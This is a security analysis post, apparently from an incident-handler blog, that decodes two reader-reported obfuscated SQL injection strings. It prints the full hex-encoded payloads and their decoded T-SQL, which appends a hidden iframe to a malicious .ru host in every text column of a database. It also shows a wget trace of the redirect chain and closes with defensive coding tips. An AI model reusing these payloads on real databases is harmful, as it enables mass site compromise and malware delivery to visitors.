Reader Alan reported a series of records that are similar to an SQL injection but are obfuscated. The following records were reported:

declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320
764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61
6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964
20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595
0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2
05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657
845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722
834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343
73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324
53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343
34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324
6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65
5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6
55f435552736f7220%20as%20varchar(4000));exec(@s);--

declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320
566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452
c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420
612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7
220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736
f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27
2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929
2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363
8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232
3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323
6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228
31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054
61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);--

In both cases we see the use of the CAST command. What is its purpose? To change the information from a data type to another. Since the type of data that is contained in the sentence CAST is hexadecimal and varchar conversion is requested, we can do it manually with an ASCII table. Let's use the table in http://www.asciitable.com  to perform the conversion. Keep in mind that two hexadecimal digits correspond to one byte. The conversion of the first seven bytes is as follows:

There are automatic tools to perform this task. I use Ascii Hex URL Decoder. If you like web tools, you can use http://nickciske.com/tools/hex.php.

After decoding attack #1, we obtain the following SQL sentence:

dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe='U' and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc('UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))') FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor

We now realize there is a second CAST command present in the SQL sentence. Further decoding shows the following URL (modified http to hxxp to avoid clicking):

<iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1"  width="0" height="0" style="display:none"></iframe> 

This attack will try to update every varchar column in your database to append the iframe text shown. This has been a massive and successful attack. If you look into google for the iframe, you can notice many affected sites.

The IFRAME seems to be deactivated because it does not download any information (0 bytes of information). See the bold section below:

$ wget hxxp://nemohuildiin.ru/tds/go.php?sid=1
--2010-08-15 15:20:49--  hxxp://nemohuildiin.ru/tds/go.php?sid=1
Resolving nemohuildiin.ru... 59.53.91.195
Connecting to nemohuildiin.ru|59.53.91.195|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: hxxp://vamptoes.ru:8080/index.php?pid=13 [following]
--2010-08-15 15:20:51--  hxxp://vamptoes.ru:8080/index.php?pid=13
Resolving vamptoes.ru... 91.121.122.81, 178.32.5.233, 178.208.81.34, ...
Connecting to vamptoes.ru|91.121.122.81|:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 0 [text/html]
Saving to: `index.php@pid=13.1'

    [ <=>                                   ] 0           --.-K/s   in 0s

2010-08-15 15:20:52 (0.00 B/s) - `index.php@pid=13.1' saved [0/0]

Let us see now the SQL sentence from attack #2:

declarE @T VarchAr(255),@c VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE='U' ANd (b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C WHiLe(@@feTcH_staTus=0) bEGiN EXEc('UpdaTe ['+@t+'] Set ['+@c+']=rtrIM(COnveRT(vArCHAr(4000),['+@C+']))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E As VArcHaR(106))') FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe TabLE_cURsOR dEAlloCATE TaBlE_CURsoR

Again, there is a second CAST command inside the SQL sentence. Further decoding shows the following:

<iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>

SQL injection is bad and something people need to avoid by developing web applications safely. There are some tips for this:

• Sanitize input data: Input entered from the user should not contain any sql sentences or commands at all. Check for good data by validating for type, length, format, and range.
• Use store procedures: Your web application should have predetermined SQL sentences for data access. If the user request some specific information, the application invokes the specific store procedure, so there is no possibility of crafting dynamic SQL request.
• Use an account with restricted permissions in the database. You should only grant execute permissions to selected stored procedures in the database and provide no direct table access.
• Avoid disclosing database error information. Make sure you do not disclose detailed error messages to the user, because detailed error information shows the attacker where to check if the attack was unsuccessful.

-- Manuel Humberto Santander Peláez | http://twitter.com/manuelsantander | http://manuel.santander.name | msantand at isc dot sans dot org